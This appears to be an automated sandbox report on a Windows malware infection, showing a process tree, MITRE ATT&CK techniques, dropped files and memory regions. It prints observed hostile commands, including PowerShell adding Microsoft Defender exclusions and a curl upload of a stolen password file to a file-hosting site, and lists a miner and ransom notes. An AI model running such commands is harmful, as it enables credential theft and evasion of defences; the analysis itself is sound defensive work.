C:\Users\Admin\AppData\Local\Temp\9мая.exe"C:\Users\Admin\AppData\Local\Temp\9мая.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\kffvoaA.exekffvoaA.exe4⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i V9Aq0Oo.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\a9x2HoW.exea9x2HoW.exe4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:/Users/Admin/AppData/Local/Temp\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:/Users/Admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\SharkHack.exeSharkHack.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svcnz.exesvcnz.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svcnz.exesvcnz.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CIA6QQU.exeCIA6QQU.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xmrig.exexmrig.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Setup.exeSetup.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer.exeInstaller.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EPC3vmt.exeEPC3vmt.exe4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\F26764186C8C671847631\System.exe2⤵
-
C:\Users\Admin\AppData\Roaming\F26764186C8C671847631\System.exeC:\Users\Admin\AppData\Roaming\F26764186C8C671847631\System.exe3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\botoboto\mybotos.exe {911DF8D7-FFA4-4EA7-91BA-20DE9278439A}2⤵
-
C:\ProgramData\botoboto\mybotos.exeC:\ProgramData\botoboto\mybotos.exe {911DF8D7-FFA4-4EA7-91BA-20DE9278439A}3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe2⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exeC:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\AppLaunch.exe2⤵
-
C:\Users\Admin\AppData\Roaming\AppLaunch.exeC:\Users\Admin\AppData\Roaming\AppLaunch.exe3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\litvin goyda.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wscript.exe //B "C:\Users\Admin\AppData\Roaming\adobe.js"2⤵
-
C:\Windows\system32\wscript.exewscript.exe //B "C:\Users\Admin\AppData\Roaming\adobe.js"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exeC:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\svchost.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\VioletClient.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\hitler gimn ukraina.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wscript.exe "C:\ProgramData\System.vbs"2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\allah pidoras.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\9мая.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a\a9x2HoW.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\Gondon-Zvuk.exe2⤵
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5294E2B28659990A3C4774623387210B C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 65BCDBDA51AB386910107BF04BBD5F9E C2⤵
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Program Files\Ghxya.exe"C:\\Program Files\\Ghxya.exe" -auto1⤵
-
C:\Program Files\Ghxya.exe"C:\Program Files\Ghxya.exe" -acsi2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 6548 -ip 65481⤵
-
C:\Windows\system32\openwith.exe"C:\Windows\system32\openwith.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 9748 -ip 97481⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe1⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exeC:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{2a5e3954-dba7-ef4f-9d7f-7275a7758b4f}\g2rvdd.inf" "9" "4cc14adf3" "000000000000010C" "WinSta0\Default" "0000000000000160" "208" "C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\x64"2⤵
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient.exeC:\Users\Admin\AppData\Roaming\VioletClient.exe1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 15720 -ip 157201⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\dllhost.exe"C:\Windows\system32\dllhost.exe"1⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveProcessChecker.exe"C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353\GoToResolveProcessChecker.exe" -Service -WorkFolder "C:\Program Files (x86)\GoTo Resolve Unattended\4267117116830702353" -ApplicationType "4"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1System Binary Proxy Execution
1Msiexec
1Discovery
Peripheral Device Discovery
1Process Discovery
1Query Registry
2System Information Discovery
3System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
1Wi-Fi Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
Ghxya.exe
HideShowMyFiles.exe
.scr
mybotos.exe
qtUHATAFgFoB
background.exe
chrome_inject.exe
XaUfT3G.exe.log
service[1].htm
801b0b4d118a4c0a8c4523e7805f5227_crypted_build[1].exe
olddss[1].exe
ModuleAnalysisCache
ModuleAnalysisCache
OU8w9XhHoln2.exe
Outputunkmwn_protected.exe
AppInstaller.exe
Srfuhxm.exe
IRS_Audit_Guide.bat
9мая.exe
CubQ32.exe
MSIB8AD.tmp
GooseModdingAPI.dll
GooseModdingAPI.pdb
GooseDesktop.exe
Snapchat Installer.exe
TmpF43E.tmp
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.DLL
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_koigxlsv.ldl.ps1
02.08.2022.exe
CFXBypass.exe
random.exe
temp.log
fdVS.exe
lc.exe
litvin goyda.exe
nsExec.dll
pizdolizik.exe
Tempmuckgxxjtykc.db
Tempmucklzldmqjw.db
Tempmuckosksbjoy.db
Tempmuckqvipljth.db
Tempmuckrvjdynjn.db
Tempmuckupvkyxds.db
TvInRaXJWFFKSiOkooKSETDJiT.exe
VioletClient.exe
VioletClient3335.exe
Winrar64.exe
dadaasads_new.ps1
System.exe
JoLhhrFiG.exe
0f5007522459c86e95ffcc62f32308f1_556b5d93-e465-4744-ab41-3f5be755f779
590aee7bdd69b59b.customDestinations-ms
adobe.js
PwplVsFT.exe
STPWlPUEAbN.exe
VioletClient3335_protected.exe
iHhllRy.exe
ConvertFromPop.pot
ResizeConvert.xlsb
sJXNmFh3ukeK.exe
AssertConfirm.vsw
ransom_note.txt
ConfirmGet.jpeg
ransom_note.txt
SET6289.tmp
SET6299.tmp
SET629A.tmp
cache.txt
cache.txt
cache.txt
memory/1560-640-0x000002552E710000-0x000002552E85F000-memory.dmp
memory/1560-1352-0x000002552EF30000-0x000002552F0F2000-memory.dmp
memory/1560-758-0x000002552E710000-0x000002552E85F000-memory.dmp
memory/1640-336-0x0000000000670000-0x0000000000688000-memory.dmp
memory/1836-222-0x0000000000230000-0x00000000002A6000-memory.dmp
memory/1908-343-0x00000000005D0000-0x000000000069A000-memory.dmp
memory/1908-742-0x00000000065B0000-0x000000000663E000-memory.dmp
memory/2312-668-0x00000150EDB60000-0x00000150EDCAF000-memory.dmp
memory/2360-433-0x0000000000840000-0x00000000009FA000-memory.dmp
memory/2380-246-0x00000000003A0000-0x00000000003B0000-memory.dmp
memory/2380-273-0x000000001CA90000-0x000000001CAB2000-memory.dmp
memory/2516-959-0x00000000061E0000-0x0000000006274000-memory.dmp
memory/2516-436-0x00000000005A0000-0x0000000000670000-memory.dmp
memory/2944-157-0x0000000000620000-0x0000000000682000-memory.dmp
memory/3316-160-0x00000226162A0000-0x00000226162D2000-memory.dmp
memory/3352-284-0x0000000007200000-0x0000000007238000-memory.dmp
memory/3352-278-0x0000000007200000-0x0000000007238000-memory.dmp
memory/3352-177-0x0000000006D70000-0x0000000006DA8000-memory.dmp
memory/3352-175-0x0000000006CF0000-0x0000000006D23000-memory.dmp
memory/3352-182-0x0000000006D70000-0x0000000006DA8000-memory.dmp
memory/3352-362-0x0000000003840000-0x0000000003841000-memory.dmp
memory/3404-321-0x00000000051D0000-0x0000000005262000-memory.dmp
memory/3404-313-0x0000000005690000-0x0000000005C36000-memory.dmp
memory/3404-646-0x0000000005EE0000-0x0000000005EF2000-memory.dmp
memory/3404-723-0x0000000006410000-0x000000000644C000-memory.dmp
memory/3404-309-0x00000000007E0000-0x000000000083E000-memory.dmp
memory/3404-403-0x00000000052A0000-0x0000000005306000-memory.dmp
memory/4016-684-0x00000000026B0000-0x00000000026BD000-memory.dmp
memory/4040-717-0x00000000008B0000-0x00000000014ED000-memory.dmp
memory/4040-667-0x00000000008B0000-0x00000000014ED000-memory.dmp
memory/4040-307-0x00000000008B0000-0x00000000014ED000-memory.dmp
memory/4040-481-0x00000000008B0000-0x00000000014ED000-memory.dmp
memory/4048-478-0x0000000070180000-0x000000007022A000-memory.dmp
memory/4308-344-0x0000000000250000-0x0000000000304000-memory.dmp
memory/4308-908-0x0000000006210000-0x000000000629E000-memory.dmp
memory/4660-766-0x00000000004B0000-0x000000000103B000-memory.dmp
memory/4660-375-0x00000000004B0000-0x000000000103B000-memory.dmp
memory/4764-153-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-140-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-147-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-138-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-148-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-149-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-139-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-150-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-151-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4764-152-0x000001E7603F0000-0x000001E7603F1000-memory.dmp
memory/4936-337-0x00000000050A0000-0x00000000050AA000-memory.dmp
memory/4936-371-0x0000000005580000-0x000000000558C000-memory.dmp
memory/4936-711-0x0000000006220000-0x0000000006284000-memory.dmp
memory/4936-317-0x00000000006A0000-0x0000000000726000-memory.dmp
memory/4936-339-0x00000000053E0000-0x000000000547C000-memory.dmp
memory/5384-743-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/5384-745-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/5384-747-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/5384-746-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/5692-180-0x0000000000380000-0x00000000003AA000-memory.dmp
memory/5752-778-0x000002759EFA0000-0x000002759F0EF000-memory.dmp
memory/5776-641-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/5776-779-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/5776-480-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/5804-429-0x000000001D160000-0x000000001D212000-memory.dmp
memory/5804-372-0x00000000008B0000-0x0000000000968000-memory.dmp
memory/5804-427-0x0000000002CA0000-0x0000000002CF0000-memory.dmp
memory/6032-186-0x0000000000A10000-0x0000000000A42000-memory.dmp
memory/6032-194-0x00000000012A0000-0x00000000012A6000-memory.dmp
memory/6032-187-0x0000000001270000-0x00000000012A0000-memory.dmp
memory/6280-444-0x00000000007D0000-0x000000000089E000-memory.dmp
memory/6280-515-0x00000000056E0000-0x00000000056F8000-memory.dmp
memory/6280-971-0x0000000006360000-0x00000000063F4000-memory.dmp
memory/6412-454-0x0000000000580000-0x0000000000652000-memory.dmp
memory/6412-983-0x00000000062A0000-0x0000000006334000-memory.dmp
memory/6548-756-0x0000000004F10000-0x0000000004F2E000-memory.dmp
memory/6548-544-0x00000000005A0000-0x0000000000648000-memory.dmp
memory/6548-751-0x0000000004F50000-0x0000000004FC6000-memory.dmp
memory/6632-482-0x0000000000BB0000-0x0000000000C86000-memory.dmp
memory/6632-1161-0x0000000006B50000-0x0000000006BE4000-memory.dmp
memory/6632-672-0x0000000006A70000-0x0000000006B22000-memory.dmp
memory/6724-565-0x0000000000A00000-0x0000000001589000-memory.dmp
memory/6724-757-0x0000000000A00000-0x0000000001589000-memory.dmp
memory/6856-1295-0x00000000005B0000-0x00000000011EE000-memory.dmp
memory/6876-1117-0x0000000000C50000-0x0000000001362000-memory.dmp
memory/6944-755-0x0000000140000000-0x000000014006F000-memory.dmp
memory/7128-595-0x00007FFC957B0000-0x00007FFC95E71000-memory.dmp
memory/7128-706-0x00007FFC95420000-0x00007FFC9559F000-memory.dmp
memory/7128-1290-0x00007FFC94E80000-0x00007FFC953B3000-memory.dmp
memory/7128-781-0x00007FFC953C0000-0x00007FFC953F3000-memory.dmp
memory/7128-945-0x00007FFCB4610000-0x00007FFCB461D000-memory.dmp
memory/7128-947-0x00007FFC94D90000-0x00007FFC94DA4000-memory.dmp
memory/7128-960-0x00007FFC957B0000-0x00007FFC95E71000-memory.dmp
memory/7128-727-0x00007FFC94DB0000-0x00007FFC94E7E000-memory.dmp
memory/7128-985-0x00007FFC9AD70000-0x00007FFC9AD95000-memory.dmp
memory/7128-725-0x00007FFCB4830000-0x00007FFCB483D000-memory.dmp
memory/7128-599-0x00007FFC9AD70000-0x00007FFC9AD95000-memory.dmp
memory/7128-759-0x00007FFC95400000-0x00007FFC95419000-memory.dmp
memory/7128-600-0x00007FFCB4F00000-0x00007FFCB4F0F000-memory.dmp
memory/7128-726-0x00007FFC94E80000-0x00007FFC953B3000-memory.dmp
memory/7128-1292-0x00007FFC94DB0000-0x00007FFC94E7E000-memory.dmp
memory/7128-946-0x00007FFC94C70000-0x00007FFC94D8A000-memory.dmp
memory/7128-703-0x00007FFC955D0000-0x00007FFC955FC000-memory.dmp
memory/7128-704-0x00007FFCA9950000-0x00007FFCA9969000-memory.dmp
memory/7128-705-0x00007FFC955A0000-0x00007FFC955C4000-memory.dmp
memory/7128-1228-0x00007FFC955A0000-0x00007FFC955C4000-memory.dmp
memory/7128-1263-0x00007FFC95420000-0x00007FFC9559F000-memory.dmp
memory/7428-749-0x0000000000240000-0x00000000003E6000-memory.dmp
memory/7640-813-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-805-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-829-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-833-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-827-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-782-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-825-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-835-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-837-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-839-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-785-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-841-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-823-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-793-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-787-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-795-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-797-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-831-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-789-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-799-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-821-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-819-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-817-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-815-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-783-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-811-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-809-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-807-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-791-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-803-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7640-801-0x0000000140000000-0x00000001400A6000-memory.dmp
memory/7672-936-0x0000000000AE0000-0x0000000000B98000-memory.dmp
memory/7696-943-0x0000000000CB0000-0x00000000018EE000-memory.dmp
memory/7708-1122-0x00007FF728690000-0x00007FF728CF5000-memory.dmp
memory/7708-683-0x00007FF728690000-0x00007FF728CF5000-memory.dmp
memory/7740-659-0x00000000008A0000-0x00000000009AA000-memory.dmp
memory/7760-748-0x0000000000B30000-0x0000000000BFA000-memory.dmp
memory/7860-709-0x00000273465D0000-0x00000273467E6000-memory.dmp
memory/7860-764-0x000002732C620000-0x000002732C62A000-memory.dmp
memory/7860-1120-0x0000027346580000-0x00000273465BC000-memory.dmp
memory/7860-1119-0x0000027346520000-0x0000027346532000-memory.dmp
memory/7860-719-0x000002732C570000-0x000002732C5C4000-memory.dmp
memory/7860-907-0x000002732C630000-0x000002732C63A000-memory.dmp
memory/7860-752-0x000002732C5C0000-0x000002732C5CC000-memory.dmp
memory/7860-753-0x000002732C5D0000-0x000002732C5DA000-memory.dmp
memory/7860-765-0x00000273463B0000-0x0000027346518000-memory.dmp
memory/7860-760-0x000002732C5E0000-0x000002732C5E8000-memory.dmp
memory/7860-761-0x000002732C4E0000-0x000002732C4EE000-memory.dmp
memory/7860-762-0x000002732C5F0000-0x000002732C5FE000-memory.dmp
memory/7860-763-0x000002732C600000-0x000002732C60E000-memory.dmp
memory/7860-664-0x000002732A780000-0x000002732A997000-memory.dmp
memory/7928-935-0x0000000000240000-0x00000000002F4000-memory.dmp
memory/7964-937-0x0000000000270000-0x0000000000330000-memory.dmp
memory/8388-1358-0x0000000005040000-0x000000000566A000-memory.dmp
memory/8388-1351-0x0000000002860000-0x0000000002896000-memory.dmp